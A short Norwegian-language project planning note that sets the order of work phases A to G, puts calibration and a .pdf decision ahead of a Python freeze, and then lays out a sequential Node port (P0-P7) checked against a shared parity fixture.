  • D etter A (så aktivt-innhold-severities bor i calibration.py).
  • E etter A/B/C (honest-limits skal reflektere faktisk tilstand).
  • F når som helst før G; anbefalt spor F1 (konsesjon). Dep-tillegg (F2) er operatør-gate uansett.
  • G er frysepunktet. Node-porten (P0-P7) starter FØRST etter G, ellers porter du et bevegelig mål. P0 avhenger også av D (kalibrering konsolidert).
  • P0-P7 er sekvensielle (hver bygger på forrige), med parity-fixture som felles kontrakt.

.pdf-beslutningen sitter i F (før G). Python-frysen sitter i G (før P0).